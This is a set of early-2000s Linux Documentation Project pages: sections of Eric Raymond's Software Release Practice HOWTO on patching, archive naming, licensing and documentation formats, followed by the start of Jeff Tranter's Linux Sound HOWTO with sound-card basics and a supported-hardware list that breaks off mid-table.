The most most common format, inherited from Unix, a primitive form of presentation markup. man(1) command provides a pager and a stone-age search facility. No support for images or hyperlinks or indexing. Renders to Postscript for printing fairly well. Doesn't render to HTML at all well (essentially as flat text). Tools are preinstalled on all Linux systems.

Man page format is not bad for command summaries or short reference documents intended to jog the memory of an experienced user. It starts to creak under the strain for programs with complex interfaces and many options, and collapses entirely if you need to maintain a set of documents with rich cross-references (the markup has only weak and normally unused support for hyperlinks).

HTML

Increasingly common since the Web exploded in 1993-1994. Markup is partly structural, mostly presentation. Browseable through any web browser. Good support for images and hyperlinks. Limited built-in facilities for indexing, but good indexing and search-engine technologies exist and are widely deployed. Renders to Postscript for printing pretty well. HTML tools are now universally available.

HTML is very flexible and suitable for many kinds of documentation. Actually, it's too flexible; it shares with man page format the problem that it's hard to index automatically because a lot of the markup describes presentation rather than document structure.

Texinfo

Texinfo is the documentation format used by the Free Software Foundation. It's a set of macros on top of the powerful TeX formatting engine. Mostly structural, partly presentation. Browseable through Emacs or a standalone info program. Good support for hyperlinks, none for images. Good indexing for both print and on-line forms; when you install a Texinfo document, a pointer to it is automatically added to a browsable "dir" document listing all the Texinfo documents on your system. Renders to excellent Postscript and useable HTML. Texinfo tools are preinstalled on most Linux systems, and available at the Free Software Foundation website.

Texinfo is a good design, quite usable for typesetting books as well as small on-line documents, but like HTML it's a sort of amphibian -- the markup is part structural, part presentation, and the presentation part creates problems for rendering.

DocBook

DocBook is a large, elaborate markup format based on SGML (more recent versions on XML). Unlike the other formats described here it is entirely structural with no presentation markup. Excellent support for images and hyperlinks. Good support for indexing. Renders well to HTML, acceptably to Postscript for printing (quality is improving as the tools evolve). Tools and documentation are available at the DocBook website.

DocBook is excellent for large, complex documents; it was designed specifically to support technical manuals and rendering them in multiple output formats. Its drawbacks are complexity, a not entirely mature (though rapidly improving) toolset, and introductory-level documentation that is scanty and (too often) highly obfuscated.

8.2. Good practice for the future

In July of 2000 representatives from several important open-source project groups (including GNOME, KDE, the Free Software Foundation, the Linux Documentation Project, and the Open Source Initiative) held a summit conference in Monterey, California. The goal was to try and settle on common practices and common documentation interchange formats, so that a much richer and more unified body of documentation can evolve.

Concretely, the goal everyone has in view is to support a kind of documentation package which, when installed on a system, is immediately integrated into a rich system-wide index of documents in such a way that they can all be browsed through a uniform interface and searched as a unit. From the steps GNOME and KDE have already taken in this direction, it was already understood that this would require a structural rather than presentation markup standard.

The meeting endorsed a trend which has been clear for a while; key open-source projects are moving or have already moved to DocBook as a master format for their documentation.

The participants also settled on using the `Dublin core' metadata format (an international standard developed by librarians concerned with the indexing of digital material) to support document indexing; details of that are still being worked out, and will probably result in some additions to the DocBook markup to support embedding Dublin Core metadata in DocBook documents.

The direction is clear; more use of DocBook, with auxiliary standards that support automatically indexing Docbook documents based on their index tags and Dublin core metadata. There are pieces still missing from this picture, but they will be filled in. The older presentation-based markups' days are numbered. (This HOWTO was moved to DocBook in August 2000.)

Thus, people starting new open-source projects will be ahead of the curve, and probably saving themselves a nasty conversion process later, if they go with DocBook as a master format from the beginning.

Prev | Home | Next
Good distribution-making practice |  | Good communication practice


Software Release Practice HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

Revision History
Revision 3.4 | 2002-01-04 | Revised by: esr
More about good patching practice.
Revision 3.3 | 2001-08-16 | Revised by: esr
New section about how to send good patches.
Revision 3.2 | 2001-07-11 | Revised by: esr
Note about not relying on proprietary components.
Revision 3.1 | 2001-02-22 | Revised by: esr
LDP Styleguide fixes.
Revision 3.0 | 2000-08-12 | Revised by: esr
First DocBook version. Advice on SourceForge and a major section on documentation practice added.

This HOWTO describes good release practices for Linux and other open-source projects. By following these practices, you will make it as easy as possible for users to build your code and use it, and for other developers to understand your code and cooperate with you to improve it.

This document is a must-read for novice developers. Experienced developers should review it when they are about to release a new project. It will be revised periodically to reflect the evolution of good-practice standards.

Table of Contents
1. Introduction
1.1. Why this document?
1.2. New versions of this document
2. Good patching practice
2.1. Do send patches, don't send whole archives or files
2.2. Send patches against the current version of the code.
2.3. Don't include patches for generated files.
2.4. Don't send patch bands that just tweak RCS or SCCS $-symbols.
2.5. Do use -c or -u format, don't use the default (-e) format
2.6. Do include documentation with your patch
2.7. Do include an explanation with your patch
2.8. Do include useful comments in your code
3. Good project- and archive- naming practice
3.1. Use GNU-style names with a stem and major.minor.patch numbering.
3.2. But respect local conventions where appropriate
3.3. Try hard to choose a name prefix that is unique and easy to type
4. Good licensing and copyright practice: the theory
4.1. Open source and copyrights
4.2. What qualifies as open source
5. Good licensing and copyright practice: the practice
5.1. Make yourself or the FSF the copyright holder
5.2. Use a license conformant to the Open Source Definition
5.3. Don't write your own license if you can possibly avoid it.
6. Good development practice
6.1. Write either pure ANSI C or a portable scripting language
6.2. Don't rely on proprietary code
6.3. Follow good C portability practices
6.4. Use autoconf/automake/autoheader
6.5. Sanity-check your code before release
6.6. Sanity-check your documentation and READMEs before release
7. Good distribution-making practice
7.1. Make sure tarballs always unpack into a single new directory
7.2. Have a README
7.3. Respect and follow standard file naming practices
7.4. Design for Upgradability
7.5. Provide RPMs
8. Good documentation practice
8.1. Good practice in the present
8.2. Good practice for the future
9. Good communication practice
9.1. Announce to c.o.l.a and Freshmeat
9.2. Announce to a relevant topic newsgroup
9.3. Have a website
9.4. Host project mailing lists
9.5. Release to major archives
10. Good project-management practice
Next
Introduction


Introduction

Software Release Practice HOWTO
Prev Next

1. Introduction

1.1. Why this document?

There is a large body of good-practice traditions for open-source code that helps other people port, use, and cooperate with developing it. Some of these conventions are traditional in the Unix world and predate Linux; others have developed recently in response to particular new tools and technologies such as the World Wide Web.

This document will help you learn good practice. It is organized into topic sections, each containing a series of checklist items. Think of these as a pre-flight checklist for your patch or software distribution.

1.2. New versions of this document

This document will be posted monthly to the newsgroups comp.os.linux.answers. You can also view the latest version of this HOWTO on the World Wide Web via the URL http://www.linuxdoc.org/LDP/HOWTO/Software-Release-Practice.html.

Feel free to mail any questions or comments about this HOWTO to Eric S. Raymond, <esr@snark.thyrsus.com>.

Prev | Home | Next
Software Release Practice HOWTO |  | Good patching practice


Good licensing and copyright practice: the practice

Software Release Practice HOWTO
Prev Next

5. Good licensing and copyright practice: the practice

Here's how to translate the theory above into practice:

5.1. Make yourself or the FSF the copyright holder

In some cases, if you have a sponsoring organization behind you with lawyers, you might wish to give copyright to that organization.

5.2. Use a license conformant to the Open Source Definition

The Open Source Definition is the community gold standard for licenses. The OSD is not a license itself; rather, it defines a minimum set of rights that a license must guarantee in order to be considered an open-source license. The OSD, and supporting materials, may be found at the web site of the Open Source Initiative.

5.3. Don't write your own license if you can possibly avoid it.

The widely-known OSD-conformant licenses have well-established interpretive traditions. Developers (and, to the extent they care, users) know what they imply, and have a reasonable take on the risks and tradeoffs they involve. Therefore, use one of the standard licenses carried on the OSI site if at all possible.

If you must write your own license, be sure to have it certified by OSI. This will avoid a lot of argument and overhead. Unless you've been through it, you have no idea how nasty a licensing flamewar can get; people become passionate because the licenses are regarded as almost-sacred covenants touching the core values of the open-source community.

Furthermore, the presence of an established interpretive tradition may prove important if your license is ever tested in court. At time of writing (early 2002) there is no case law either supporting or invalidating any open-source license. However, it is a legal doctrine (at least in the U.S., and probably in other common-law countries such as England and the rest of the British Commonwealth) that courts are supposed to interpret licenses and contracts according to the expectations and practices of the community in which they originated.

Prev | Home | Next
Good licensing and copyright practice: the theory |  | Good development practice


Good licensing and copyright practice: the theory

Software Release Practice HOWTO
Prev Next

4. Good licensing and copyright practice: the theory

The license you choose defines the social contract you wish to set up among your co-developers and users. The copyright you put on the software will function mainly as a legal assertion of your right to set license terms on the software and derivative works of the software.

4.1. Open source and copyrights

Anything that is not public domain has a copyright, possibly more than one. Under the Berne Convention (which has been U.S. law since 1978), the copyright does not have to be explicit. That is, the authors of a work hold copyright even if there is no copyright notice.

Who counts as an author can be very complicated, especially for software that has been worked on by many hands. This is why licenses are important. By setting out the terms under which material can be used, they grant rights to the users that protect them from arbitrary actions by the copyright holders.

In proprietary software, the license terms are designed to protect the copyright. They're a way of granting a few rights to users while reserving as much legal territory is possible for the owner (the copyright holder). The copyright holder is very important, and the license logic so restrictive that the exact technicalities of the license terms are usually unimportant.

In open-source software, the situation is usually the exact opposite; the copyright exists to protect the license. The only rights the copyright holder always keeps are to enforce the license. Otherwise, only a few rights are reserved and most choices pass to the user. In particular, the copyright holder cannot change the terms on a copy you already have. Therefore, in open-source software the copyright holder is almost irrelevant -- but the license terms are very important.

Normally the copyright holder of a project is the current project leader or sponsoring organization. Transfer of the project to a new leader is often signaled by changing the copyright holder. However, this is not a hard and fast rule; many open-source projects have multiple copyright holders, and there is no instance on record of this leading to legal problems.

Some projects choose to assign copyright to the Free Software Foundation, on the theory that it has an interest in defending open source and lawyers available to do it.

4.2. What qualifies as open source

For licensing purposes, we can distinguish several different kinds of rights that a license may convey. Rights to copy and redistribute, rights to use, rights to modify for personal use, and rights to redistribute modified copies. A license may restrict or attach conditions to any of these rights.

The Open Source Initiative is the result of a great deal of thought about what makes software ``open source'' or (in older terminology) ``free''. Its constraints on licensing require that:

  1. An unlimited right to copy be granted.

  2. An unlimited right to use be granted.

  3. An unlimited right to modify for personal use be granted.

The guidelines prohibit restrictions on redistribution of modified binaries; this meets the needs of software distributors, who need to be able to ship working code without encumbrance. It allows authors to require that modified sources be redistributed as pristine sources plus patches, thus establishing the author's intentions and an ``audit trail'' of any changes by others.

The OSD is the legal definition of the `OSI Certified Open Source' certification mark, and as good a definition of ``free software'' as anyone has ever come up with. All of the standard licenses (MIT, BSD, Artistic, and GPL/LGPL) meet it (though some, like GPL, have other restrictions which you should understand before choosing it).

Note that licenses which allow noncommercial use only do not qualify as open-source licenses, even if they are decorated with ``GPL'' or some other standard license. They discriminate against particular occupations, persons, and groups. They make life too complicated for CD-ROM distributors and others trying to spread open-source software commercially.

Prev | Home | Next
Good project- and archive- naming practice |  | Good licensing and copyright practice: the practice


Good project-management practice

Software Release Practice HOWTO
Prev

10. Good project-management practice

Managing a project well when all the participants are volunteers presents some unique challenges. This is too large a topic to cover in a HOWTO. Fortunately, there are some useful white papers available that will help you understand the major issues.

For discussion of basic development organization and the release-early-release-often `bazaar mode', see The Cathedral and the Bazaar.

For discussion of motivational psychology, community customs, and conflict resolution, see Homesteading the Noosphere.

For discussion of economics and appropriate business models, see The Magic Cauldron.

These papers are not the last word on open-source development. But they were the first serious analyses to be written, and have yet to be superseded (though the author hopes they will be someday).

Prev | Home
Good communication practice |


Good project- and archive- naming practice

Software Release Practice HOWTO
Prev Next

3. Good project- and archive- naming practice

As the load on maintainers of archives like Metalab, the PSA site and CPAN increases, there is an increasing trend for submissions to be processed partly or wholly by programs (rather than entirely by a human).

This makes it more important for project and archive-file names to fit regular patterns that computer programs can parse and understand.

3.1. Use GNU-style names with a stem and major.minor.patch numbering.

It's helpful to everybody if your archive files all have GNU-like names -- all-lower-case alphanumeric stem prefix, followed by a dash, followed by a version number, extension, and other suffixes.

Let's suppose you have a project you call `foobar' at version 1, release 2, level 3. If it's got just one archive part (presumably the sources), here's what its names should look:

foobar-1.2.3.tar.gz

The source archive

foobar.lsm

The LSM file (assuming you're submitting to Metalab).

Please don't use these:

foobar123.tar.gz

This looks to many programs like an archive for a project called`foobar123' with no version number.

foobar1.2.3.tar.gz

This looks to many programs like an archive for a project called `foobar1' at version 2.3.

foobar-v1.2.3.tar.gz

Many programs think this goes with a project called `foobar-v1'.

foo_bar-1.2.3.tar.gz

The underscore is hard for people to speak, type, and remember.

FooBar-1.2.3.tar.gz

Unless you like looking like a marketing weenie. This is also hard for people to speak, type, and remember.

If you have to differentiate between source and binary archives, or between different kinds of binary, or express some kind of build option in the file name, please treat that as a file extension to go after the version number. That is, please do this:

foobar-1.2.3.src.tar.gz

sources

foobar-1.2.3.bin.tar.gz

binaries, type not specified

foobar-1.2.3.bin.ELF.tar.gz

ELF binaries

foobar-1.2.3.bin.ELF.static.tar.gz

ELF binaries statically linked

foobar-1.2.3.bin.SPARC.tar.gz

SPARC binaries

Please don't use names like `foobar-ELF-1.2.3.tar.gz', because programs have a hard time telling type infixes (like `-ELF') from the stem.

A good general form of name has these parts in order:

  1. project prefix

  2. dash

  3. version number

  4. dot

  5. "src" or "bin" (optional)

  6. dot or dash (dot preferred)

  7. binary type and options (optional)

  8. archiving and compression extensions

3.2. But respect local conventions where appropriate

Some projects and communities have well-defined conventions for names and version numbers that aren't necessarily compatible with the above advice. For instance, Apache modules are generally named like mod_foo, and have both their own version number and the version of Apache with which they work. Likewise, Perl modules have version numbers that can be treated as floating point numbers (e.g., you might see 1.303 rather than 1.3.3), and the distributions are generally named Foo-Bar-1.303.tar.gz for version 1.303 of module Foo::Bar. (Perl itself, on the other hand, switched to using the conventions described in this document in late 1999.)

Look for and respect the conventions of specialized communities and developers; for general use, follow the above guidelines.

3.3. Try hard to choose a name prefix that is unique and easy to type

The stem prefix should be common to all a project's files, and it should be easy to read, type, and remember. So please don't use underscores. And don't capitalize or BiCapitalize without extremely good reason -- it messes up the natural human-eyeball search order and looks like some marketing weenie trying to be clever.

It confuses people when two different projects have the same stem name. So try to check for collisions before your first release. Two good places to check are the index file of Metalab and the appindex at Freshmeat. Another good place to check is SourceForge; do a name search there.

Prev | Home | Next
Good patching practice |  | Good licensing and copyright practice: the theory


Good patching practice

Software Release Practice HOWTO
Prev Next

2. Good patching practice

Most people get involved in open-source software by writing patches for other peoples' software before releasing projects of their own. Suppose you've written a set of source-code changes for someone else's baseline code. Now put yourself in that person's shoes. How is he to judge whether to include the patch?

The truth is that it is very difficult to judge the quality of code. So developers tend to evaluate patches by the quality of the submission. They look for clues in the submitter's style and communications behavior instead — indications that the person has been in their shoes and understands what it's like to have to evaluate and merge an incoming patch.

This is actually a pretty reliable proxy for code quality. In many years of dealing with patches from many hundreds of strangers, I have only seldom seen a patch that was thoughtfully presented and respectful of my time but technically bogus. On the other hand, experience teaches me that patches which look careless or are packaged in a lazy and inconsiderate way are very likely to actually be bogus.

Here are some tips on how to get your patch accepted:

2.1. Do send patches, don't send whole archives or files

If your change includes a new file that doesn't exist in the code, then of course you have to send the whole file. But if you're modifying an already-existing file, don't send the whole file. Send a diff instead; specifically, send the output of the diff(1) command run to compare the baseline distributed version against your modified version.

The diff command and its dual, patch(1) (which automatically applies a diff to a baseline file) are the most basic tools of open-source development. Diffs are better than whole files because the developer you're sending a patch to may have changed the baseline version since you got your copy. By sending him a diff you save him the effort of separating your changes from his; you show respect for his time.

2.2. Send patches against the current version of the code.

It is both counterproductive and rude to send a maintainer patches against the code as it existed several releases ago, and expect him to do all the work of determining which changes duplicate things he have since done, versus which things are actually novel in your patch.

As a patch submitter, it is your responsibility to track the state of the source and send the maintainer a minimal patch that expresses what you want done to the main-line codebase. That means sending a patch against the current version.

2.3. Don't include patches for generated files.

Before you send your patch, walk through it and delete any patch bands for files in it that are going to be automatically regenerated once he applies the patch and remakes. The classic examples of this error are C files generated by Bison or Flex.

These days the most common mistake of this kind is sending a diff with a huge band that is nothing but changebars between your configure script and his. This file is generated by autoconf.

This is inconsiderate. It means your recipient is put to the trouble of separating the real content of the patch from a lot of bulky noise. It's a minor error, not as important as some of the things we'll get to further on — but it will count against you.

2.4. Don't send patch bands that just tweak RCS or SCCS $-symbols.

Some people put special tokens in their source files that are expanded by the version-control system when the file is checked in: the $Id: Software-Release-Practice-HOWTO.sgml,v 1.15 2002/02/04 19:24:34 esr Exp $ construct used by RCS and CVS, for example.

If you're using a local version-control system yourself, your changes may alter these tokens. This isn't really harmful, because when your recipient checks his code back in after applying your patch they'll get re-expanded based on his version-control status. But those extra patch bands are noise. They're distracting. It's more considerate not to send them.

This is another minor error. You'll be forgiven for it if you get the big things right. But you want to avoid it anyway.

2.5. Do use -c or -u format, don't use the default (-e) format

The default (-e) format of diff(1) is very brittle. It doesn't include any context, so the patch tool can't cope if any lines have been inserted or deleted in the baseline code since you took the copy you modified.

Getting an -e diff is annoying, and suggests that the sender is either an extreme newbie, careless, or clueless. Most such patches get tossed out without a second thought.

2.6. Do include documentation with your patch

This is very important. If your patch makes a user-visible addition or change to the software's features, include changes to the appropriate man pages and other documentation files in your patch. Do not assume that the recipient will be happy to document your code for you, or else to have undocumented features lurking in the code.

Documenting your changes well demonstrates some good things. First, it's considerate to the person you are trying to persuade. Second, it shows that you understand the ramifications of your change well enough to explain it to somebody who can't see the code. Third, it demonstrates that you care about the people who will ultimately use the software.

Good documentation is usually the most visible sign of what separates a solid contribution from a quick and dirty hack. If you take the time and care necessary to produce it, you'll find you're already 85% of the way to having your patch accepted with most developers.

2.7. Do include an explanation with your patch

Your patch should include cover notes explaining why you think the patch is necessary or useful. This is explanation directed not to the users of the software but to the maintainer to whom you are sending the patch.

The note can be short — in fact, some of the most effective cover notes I've ever seen just said "See the documentation updates in this patch". But it should show the right attitude.

The right attitude is helpful, respectful of the maintainer's time, quietly confident but unassuming. It's good to display understanding of the code you're patching. It's good to show that you can identify with the maintainer's problems. It's also good to be up front about any risks you perceive in applying the patch. Here are some examples of the sorts of explanatory comments that I like to see in cover notes:

"I've seen two problems with this code, X and Y. I fixed problem X, but I didn't try addressing problem Y because I don't think I understand the part of the code that I believe is involved."

"Fixed a core dump that can happen when one of the foo inputs is too long. While I was at it, I went looking for similar overflows elsewhere. I found a possible one in blarg.c, near line 666. Are you sure the sender can't generate more than 80 characters per transmission?"

"Have you considered using the Foonly algorithm for this problem? There is a good implementation at <http://www.somesite.com/~jsmith/foonly.html>."

"This patch solves the immediate problem, but I realize it complicates the memory allocation in an unpleasant way. Works for me, but you should probably test it under heavy load before shipping. "

"This may be featurititis, but I'm sending it anyway. Maybe you'll know a cleaner way to implement the feature."

2.8. Do include useful comments in your code

Usually as a maintainer, I will want to have strong confidence that I understand your changes before merging them in. This isn't an invariable rule; if you have a track record of good work, with me I may just run a casual eyeball over the changes before checking them in semi-automatically. But everything you can do to help me understand your code and decrease my uncertainty increases your chances that I will accept your patch.

Good comments in your code help me understand it. Bad comments don't.

Here's an example of a bad comment:

/* norman newbie fixed this 13 Aug 2001 */

This conveys no information. It's nothing but a muddy territorial bootprint you're planting in the middle of my code. If I take your patch (which you've made less likely) I'll almost certainly strip out this comment. If you want a credit, include a patch band for the project NEWS or HISTORY file. I'll probably take that.

Here's an example of a good comment:

/*
 * This conditional needs to be guarded so that crunch_data()
 * never gets passed a NULL pointer.  <norman_newbie@foosite.com>
 */

This comment shows that you understand not only my code but the kind of information that I need to have confidence in your changes. This kind of comment gives me confidence in your changes.

Prev | Home | Next
Introduction |  | Good project- and archive- naming practice


The Linux Sound HOWTO

Jeff Tranter

tranter@pobox.com

v1.22, 16 July 2001

Revision History
Revision 1.22 | 2001-07-16 | Revised by: jjt
Relicensed under the GFDL.
Revision 1.21 | 2001-05-11 | Revised by: jjt

This document describes sound support for Linux. It lists the supported sound hardware, describes how to configure the kernel drivers, and answers frequently asked questions. The intent is to bring new users up to speed more quickly and reduce the amount of traffic in the Usenet news groups and mailing lists.

Table of Contents
1. Introduction
1.1. Acknowledgments
1.2. New versions of this document
1.3. Feedback
1.4. Distribution Policy
2. Sound Card Technology
3. Supported Hardware
3.1. Platform Notes
3.2. Sound Card Types
3.3. Sound Cards
3.4. Alternate Sound Drivers
4. Installation
4.1. Installing the Sound Card
4.2. Configuring ISA Plug and Play
4.3. Configuring the Kernel
4.4. Creating the Device Files
4.5. Booting Linux and Testing the Installation
4.6. Troubleshooting
5. Applications Supporting Sound
6. Answers To Frequently Asked Questions
6.1. What are the various sound device files?
6.2. How can I play a sound sample?
6.3. How can I record a sample?
6.4. Can I have more than one sound card?
6.5. Error: No such file or directory for sound devices
6.6. Error: No such device for sound devices
6.7. Error: No space left on device for sound devices
6.8. Error: Device busy for sound devices
6.9. I still get device busy errors!
6.10. Partial playback of digitized sound file
6.11. There are pauses when playing MOD files
6.12. Compile errors when compiling sound applications
6.13. SEGV when running sound binaries that worked previously
6.14. What known bugs or limitations are there in the sound driver?
6.15. Where are the sound driver ioctls() etc. documented?
6.16. What CPU resources are needed to play or record without pauses?
6.17. Problems with a PAS16 and an Adaptec 1542 SCSI host adaptor
6.18. Is it possible to read and write samples simultaneously?
6.19. My SB16 is set to IRQ 2, but configure does not allow this value.
6.20. If I run Linux, then boot DOS, I get errors and/or sound applications do not work properly.
6.21. Problems running DOOM under Linux
6.22. How can I reduce noise picked up by my sound card?
6.23. I can play sounds, but not record.
6.24. My "compatible" sound card only works if I first initialize under MS-DOS.
6.25. My 16-bit SoundBlaster "compatible" sound card only works in 8-bit mode under Linux.
6.26. Where can I find sound applications for Linux?
6.27. Can the sound drivers be compiled as a loadable module?
6.28. Can I use a sound card to replace the system console beep?
6.29. What is VoxWare?
6.30. Sox/Play/Vplay reports "invalid block size 1024"
6.31. The mixer settings are reset whenever I load the sound driver module
6.32. Only user root can record sound
6.33. Is the sound hardware on the IBM ThinkPad supported?
6.34. Applications fail because my sound card has no mixer
6.35. Problems with a SB16 CT4170
6.36. How to connect a MIDI keyboard to a soundcard
6.37. Problems with IRQ 15 and Ensoniq PCI 128
6.38. Where can I get freely available MIDI patches to run SoftOSS?
7. References
Next
Introduction


Introduction

The Linux Sound HOWTO
Prev Next

1. Introduction

This is the Linux Sound HOWTO. It is intended as a quick reference covering everything you need to know to install and configure sound support under Linux. Frequently asked questions about sound under Linux are answered, and references are given to some other sources of information on a variety of topics related to computer generated sound and music.

The scope is limited to the aspects of sound cards pertaining to Linux. See the other documents listed in the References section for more general information on sound cards and computer sound and music generation.

1.1. Acknowledgments

Much of this information came from the documentation provided with the sound driver source code, by Hannu Savolainen (hannu@opensound.com). Thanks go to Hannu, Alan Cox, and the many other people who developed the Linux kernel sound drivers and utilities.

Thanks to the DocBook tools, this HOWTO is available in several formats, all generated from a common source file.

1.2. New versions of this document

New versions of this document will be periodically posted to the comp.os.linux.answers newsgroup. Hypertext versions of this and other Linux HOWTOs are available on many world-wide web sites, including http://www.linuxdoc.org. Most Linux CD-ROM distributions include the HOWTOs, often under the /usr/doc directory, and you can also buy printed copies from several vendors. Sometimes the HOWTOs available from CD-ROM vendors, ftp sites, and printed format are out of date. If the date on this HOWTO is more than six months in the past, then a newer copy is probably available on the Internet.

Please note that, due to the dynamic nature of the Internet, all web and ftp links listed in this document are subject to change.

Translations of this document are available in several languages:

Chinese: http://www.linux.org.tw/CLDP/Sound-HOWTO.html

French: http://www.freenix.org/unix/linux/HOWTO/

Italian: http://www.pluto.linux.it/ildp/HOWTO/index.html

Japanese: http://yebisu.ics.es.osaka-u.ac.jp/linux/

Korean: http://kldp.org/HOWTO/html/Sound/Sound-HOWTO.html

Russian: http://www.phtd.tpu.edu.ru/~ott/russian/linux/howto-rus/Sound-HOWTO.html

Spanish: ftp://ftp.insflug.org/es

Most translations of this and other Linux HOWTOs can also be found at http://www.ibiblio.org/pub/Linux/docs/HOWTO/translations/. If you make a translation of this document into another language, let me know and I'll include a reference to it here.

1.3. Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or comments, please send them to me, tranter@pobox.com, and I will try to incorporate them in the next revision.

I am also willing to answer general questions on sound cards under Linux, as best I can. Before doing so, please read all of the information in this HOWTO, and send me detailed information about the problem. Please do not ask me about using sound cards under operating systems other than Linux.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated; mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the LDP at feedback@linuxdoc.org for more information.

1.4. Distribution Policy

Copyright (c) 1995-2001 by Jeff Tranter. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

Prev | Home | Next
The Linux Sound HOWTO |  | Sound Card Technology


Sound Card Technology

The Linux Sound HOWTO
Prev Next

2. Sound Card Technology

This section gives a very cursory overview of computer audio technology, in order to help you understand the concepts used later in the document. You should consult a book on digital audio or digital signal processing in order to learn more.

Sound is an analog property; it can take on any value over a continuous range. Computers are digital; they like to work with discrete values. Sound cards use a device known as an Analog to Digital Converter (A/D or ADC) to convert voltages corresponding to analog sound waves into digital or numeric values which can be stored in memory. Similarly, a Digital to Analog Converter (D/A or DAC) converts numeric values back to an analog voltage which can in turn drive a loudspeaker, producing sound.

The process of analog to digital conversion, known as sampling, introduces some error. Two factors are key in determining how well the sampled signal represents the original. Sampling rate is the number of samples made per unit of time (usually expresses as samples per second or Hertz). A low sampling rate will provide a less accurate representation of the analog signal. Sample size is the range of values used to represent each sample, usually expressed in bits. The larger the sample size, the more accurate the digitized signal will be.

Sound cards commonly use 8 or 16 bit samples at sampling rates from about 4000 to 44,000 samples per second. The samples may also be contain one channel (mono) or two (stereo).

FM Synthesis is an older technique for producing sound. It is based on combining different waveforms (e.g. sine, triangle, square). FM synthesis is simpler to implement in hardware that D/A conversion, but is more difficult to program and less flexible. Many sound cards provide FM synthesis for backward compatibility with older cards and software. Several independent sound generators or voices are usually provided.

Wavetable Synthesis combines the flexibility of D/A conversion with the multiple channel capability of FM synthesis. With this scheme digitized voices can be downloaded into dedicated memory, and then played, combined, and modified with little CPU overhead. State of the art sound cards all support wavetable synthesis.

Most sound cards provide the capability of mixing, combining signals from different input sources and controlling gain levels.

MIDI stands for Musical Instrument Digital Interface, and is a standard hardware and software protocol for allowing musical instruments to communicate with each other. The events sent over a MIDI bus can also be stored as MIDI files for later editing and playback. Many sound cards provide a MIDI interface. Those that do not can still play MIDI files using the on-board capabilities of the sound card.

MOD files are a common format for computer generated songs. As well as information about the musical notes to be played, the files contain digitized samples for the instruments (or voices). MOD files originated on the Amiga computer, but can be played on other systems, including Linux, with suitable software.

MP3 files are a popular format for distributing computer music and speech. MP3 uses a sophisticated encoding scheme (MPEG layer 3) to compress audio by roughly a factor of 10 with little reduction in quality as compared to CD audio.

Prev | Home | Next
Introduction |  | Supported Hardware


Supported Hardware

The Linux Sound HOWTO
Prev Next

3. Supported Hardware

This section lists the sound cards and interfaces that are currently supported under Linux. The information here is based on the latest Linux kernel, which at time of writing was version 2.4.4. This document only applies to the sound drivers included with the standard Linux kernel source distribution. There are other sound drivers available for Linux (see the later section entitled Alternate Sound Drivers).

For the latest information on supported sound cards and features see the files included with the Linux kernel source code, usually installed in the directory /usr/src/linux/Documentation/sound.

3.1. Platform Notes

The information in this HOWTO is valid for Linux on the Intel x86 platform.

The sound driver should also work with most sound cards on the Alpha platform. However, some cards may conflict with I/O ports of other devices on Alpha systems even though they work perfectly on i386 machines, so in general it's not possible to tell if a given card will work or not without actually trying it.

Users have reported that the sound driver was not yet working on the PowerPC version of Linux, but it should be supported in future.

Sound can be configured into the kernel under the MIPs port of Linux, and some MIPs machines have EISA slots and/or built in sound hardware. I'm told the Linux-MIPs group is interested in adding sound support in the future.

The Linux kernel includes a separate driver for the Atari and Amiga versions of Linux that implements a compatible subset of the sound driver on the Intel platform using the built-in sound hardware on these machines.

The SPARC port of Linux currently has sound support for some models of Sun workstations. I've been told that the on-board sound hardware works but the external DSP audio box is not supported because Sun has not released the specifications for it.

3.2. Sound Card Types

A number of different types of sound cards exist, reflecting the different bus architectures available. Here is a brief overview of the more common types and their distinguishing features.

ISA bus cards are among the oldest sound cards using the original (non Plug and Play) ISA bus. These typically use jumpers to select hardware settings for I/O addresses, IRQ, and DMA channel. You are unlikely to find any of this type manufactured today.

ISA Plug and Play cards use the extended version of the ISA bus that supports software identification and configuration of card settings. Few of these, if any, are still being manufactured.

PCI bus cards use the higher bandwidth PCI bus which provides identification and configuration of cards in software. The majority of sound cards manufactured today now use PCI. Most motherboards that provide on-board sound hardware also make use of the PCI bus.

USB is a newer bus architecture for external hot-pluggable devices. In theory USB bus sound cards could be developed, but I am only aware of USB-bus speakers being sold currently.

3.3. Sound Cards

The following sound cards are supported by the Linux kernel sound driver. Some of the items listed are audio chip sets rather than models of sound cards. The list is incomplete because there are many sound cards compatible with these that will work under Linux. To add further to the confusion, some manufacturers periodically change the design of their cards causing incompatibilities and continue to sell them as the same model.

6850 UART MIDI Interface | AD1816/AD1816A based cards | AD1816/AD1816A sound chip | AD1848 sound chip
ADSP-2115 | ALS-007 based cards (Avance Logic) | ALS-1x0 sound chip | ATARI onboard sound
ATI Stereo F/X | Acer FX-3D | AdLib | Amiga onboard sound
Audio Excel DSP 16 | AudioDrive | Aztech Sound Galaxy Washington 16 | Aztech Sound Galaxy WaveRider 3D
Aztech Sound Galaxy WaveRider Pro32 | Beethoven ADSP-16 | CMI8330 sound chip | CMI8338/8378 sound chip
Cardinal DSP16 | Compaq Deskpro XL onboard sound | Corel Netwinder WaveArtist | Crystal CS423x
Crystal CS4280 | Crystal CS46xx | ES1370 sound chip | ES1371 sound chip
ESC614 sound chip | ESS Maestro 1/2/2E sound ship | ESS Solo1 sound chip | ESS1688 sound chip
ESS1788 sound chip | ESS1868 sound chip | ESS1869 sound chip | ESS1887 sound chip
ESS1888 sound chip | ESS688 sound chip | Ensoniq AudioPCI (ES1370) | Ensoniq AudioPCI 97 (ES1371)
Ensoniq/Reveal/Spea SoundScape | Gallant SC-6000 | Gallant SC-6600 | Gravis Ultrasound
Gravis Ultrasound ACE | Gravis Ultrasound Max | Gravis Ultrasound with 16 bit option | HP Kayak
Highscreen Sound-Booster32 Wave3D | IBM MWAVE | Jazz 16 | Logitech Sound Man 16
Logitech SoundMan Games | Logitech SoundMan Wave | MAD16 Pro (OpTi 82C9xx chipsets) | Media Vision Jazz16
MediaTriX AudioTriX Pro | Microsoft Windows Sound System | MiroSOUND PCM12 | Mozart (OAK OTI-601)
